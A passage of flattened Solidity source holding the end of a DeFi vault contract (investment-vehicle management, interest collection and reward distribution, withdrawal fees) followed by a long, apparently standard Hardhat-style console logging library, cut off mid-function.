uint256 actualInvested = baseBefore.sub(baseAfter);
require(actualInvested == reportInvested, "Vault: report invested != actual invested");
IERC20Upgradeable(address(baseAsset)).safeApprove(_target, 0);
_accountingFundsLendingOut(_target, actualInvested);
return actualInvested;
}
/// Add an investment vehicle.
/// @param newVehicle Address of the new IV.
/// @param _lendMaxBps Lending capacity of the IV in ratio.
/// @param _lendCap Lending capacity of the IV.
function addInvestmentVehicle(
address newVehicle,
uint256 _lendMaxBps,
uint256 _lendCap
) public adminPriviledged timelockPassed(newVehicle) returns(uint256) {
require(!isDebtor(newVehicle),
"vehicle already registered");
vInfo[newVehicle] = VehicleInfo({
baseAssetDebt: 0,
disableBorrow: false, // borrow is enabled by default
lendMaxBps: _lendMaxBps,
lendCap: _lendCap
});
investmentVehicles.add(newVehicle);
}
/// This moves an IV to the lowest withdraw priority.
/// @param iv Address of the IV.
function moveInvestmentVehicleToLowestPriority(
address iv
) external adminPriviledged {
require(isDebtor(iv));
// This is done by removing iv from the list and re-adding it back.
// After that, the iv will be at the end of the list.
investmentVehicles.remove(iv);
investmentVehicles.add(iv);
}
/// Remove an IV from the vault.
/// @param _target Address of the IV.
function removeInvestmentVehicle(address _target) public adminPriviledged {
require(vInfo[_target].baseAssetDebt == 0, "cannot remove vehicle with nonZero debt");
investmentVehicles.remove(_target);
}
/// @return Return the number of the IVs added to this vault.
function investmentVehiclesLength() public view returns(uint256) {
return investmentVehicles.length();
}
/// @param idx Index of the IV.
/// @return Return the address of an IV.
function getInvestmentVehicle(uint256 idx) public view returns(address) {
return investmentVehicles.at(idx);
}
/// @param _iv Address of the IV.
/// @return Return the debt (in baseAsset) of an IV
function baseAssetDebtOf(address _iv) public view returns(uint256) {
return vInfo[_iv].baseAssetDebt;
}
/// Collect the interest from IVs and convert them into longAsset.
/// The converted longAsset would be distribute to user through the reward pool.
///
/// See also: StakingMultiRewardsUpgradeable
/// @param ivs List of IVs to collect interest from.
/// @param minimumLongProfit The minimum LongProfit collected.
function collectAndLong(address[] memory ivs, uint256 minimumLongProfit) public opsPriviledged virtual {
uint256 beforeBaseBalance = IERC20Upgradeable(baseAsset).balanceOf(address(this));
for(uint256 i = 0; i < ivs.length; i++){
address iv = ivs[i];
IDebtor(iv).withdrawAsCreditor( interestPendingInIV(iv) );
}
uint256 afterBaseBalance = IERC20Upgradeable(baseAsset).balanceOf(address(this));
uint256 baseProfit = afterBaseBalance.sub(beforeBaseBalance);
IERC20Upgradeable(baseAsset).safeApprove(swapCenter(), 0);
IERC20Upgradeable(baseAsset).safeApprove(swapCenter(), baseProfit);
uint256 longedProfit = ISwap(swapCenter()).swapExactTokenIn(baseAsset, longAsset, baseProfit, minimumLongProfit);
emit Longed(totalSupply(), baseProfit, longedProfit);
_distributeProfit(longedProfit);
}
function _distributeProfit(uint256 longedProfit) internal {
if(selfCompoundingLongAsset == address(0)){ // not wrapping, directly notify the reward pool
IERC20Upgradeable(longAsset).safeTransfer(rewardPool, longedProfit);
IStakingMultiRewards(rewardPool).notifyTargetRewardAmount(longAsset, longedProfit);
} else {
// we should wrap long asset to self compounding
IERC20Upgradeable(longAsset).safeApprove(selfCompoundingLongAsset, 0);
IERC20Upgradeable(longAsset).safeApprove(selfCompoundingLongAsset, longedProfit);
ISelfCompoundingYield(selfCompoundingLongAsset).deposit(longedProfit);
uint256 wrappedLongBalance = ERC20Upgradeable(selfCompoundingLongAsset).balanceOf(address(this));
// notify the wrapped long to the pool
IERC20Upgradeable(selfCompoundingLongAsset).safeTransfer(rewardPool, wrappedLongBalance);
IStakingMultiRewards(rewardPool).notifyTargetRewardAmount(selfCompoundingLongAsset, wrappedLongBalance);
}
}
/// Return the intest (profit) of the vault in an IV.
/// The interest is defined as the baseAsset balance of the vault
/// in IV minus the debt that the IV owed the vault.
/// @param iv The address of the IV.
/// @return The interest of the vault in the IV.
function interestPendingInIV(address iv) public view returns(uint256) {
uint256 balance = IDebtor(iv).baseAssetBalanceOf(address(this));
uint256 debt = vInfo[iv].baseAssetDebt;
if(balance > debt) {
return balance - debt; // No overflow problem.
} else {
return 0;
}
}
function _updateRewards(address targetAddr) internal {
require(rewardPool != address(0), "Reward pool needs to be set.");
IStakingMultiRewards(rewardPool).updateAllRewards(targetAddr);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
_updateRewards(sender);
_updateRewards(recipient);
super._transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual override {
_updateRewards(account);
super._mint(account, amount);
}
function _burn(address account, uint256 amount) internal virtual override {
_updateRewards(account);
super._burn(account, amount);
}
/// Set the deposit cap.
/// @param _depositCap Deposit cap (in baseAsset) of the vault.
function setDepositCap(uint256 _depositCap) public adminPriviledged {
depositCap = _depositCap;
}
/// Set the deposit enabled flag.
/// @param _flag True if the deposit is enabled.
function setDepositEnabled(bool _flag) public adminPriviledged {
vaultDepositEnabled = _flag;
}
function setFlashDepositAndWithdrawAllowed(address[] memory _targets, bool _flag) public adminPriviledged {
for(uint256 i = 0 ; i < _targets.length; i++){
flashDepositAndWithdrawAllowed[_targets[i]] = _flag;
}
}
/// Add accounts to the no-withdrawl fee white list.
function setNoWithdrawalFee(address[] memory _targets, bool _flag) public adminPriviledged {
for(uint256 i = 0 ; i < _targets.length ; i++) {
noWithdrawalFee[_targets[i]] = _flag;
}
}
/// Set the withdraw fee parametrs.
/// See the withdraw fee documentation for more details
/// @param _withdrawFeeRatio The withdraw fee ratio. Unit: BPS_UNIT
/// @param _withdrawalFeeHalfDecayPeriod The half-decay period of the withdraw fee. [second]
/// @param _withdrawalFeeWaivedPeriod The withdraw fee waived period. [second]
function setWihdrawFeeParameter(
uint256 _withdrawFeeRatio,
uint256 _withdrawalFeeHalfDecayPeriod,
uint256 _withdrawalFeeWaivedPeriod
) external adminPriviledged {
_setWihdrawFeeParameter(_withdrawFeeRatio, _withdrawalFeeHalfDecayPeriod, _withdrawalFeeWaivedPeriod);
}
function _setWihdrawFeeParameter(
uint256 _withdrawFeeRatio,
uint256 _withdrawalFeeHalfDecayPeriod,
uint256 _withdrawalFeeWaivedPeriod
) internal {
require(_withdrawFeeRatio <= WITHDRAWAL_FEE_RATIO_CAP, "withdrawFeeRatio too large");
withdrawFeeRatio = _withdrawFeeRatio;
withdrawalFeeHalfDecayPeriod = _withdrawalFeeHalfDecayPeriod;
withdrawalFeeWaivedPeriod = _withdrawalFeeWaivedPeriod;
emit WithdrawFeeUpdated(_withdrawFeeRatio, _withdrawalFeeHalfDecayPeriod, _withdrawalFeeWaivedPeriod);
}
/// Calculate the current unsettled withdraw fee.
/// @param _who The address to calculate the fee.
/// @return fee Return the amount of the withdraw fee (as baseAsset).
function withdrawlFeePending(address _who) public view returns (uint256 fee) {
if(noWithdrawalFee[_who] || withdrawalFeeHalfDecayPeriod == 0){
return 0;
} else {
uint256 timePassed = block.timestamp.sub(lastFeeTime[_who]);
if(timePassed > withdrawalFeeWaivedPeriod) {
return 0;
} else {
// No need for safe math here.
return withdrawalFeeOccured[_who] >> (timePassed/withdrawalFeeHalfDecayPeriod);
}
}
}
/// Set the self-compounding vault for the long asset.
///
/// See also: SelfCompoundingYieldUpgradable
/// @param _selfCompoundingLong Address of the self-compounding vault.
function setLongSelfCompounding(address _selfCompoundingLong) public adminPriviledged {
selfCompoundingLongAsset = _selfCompoundingLong;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
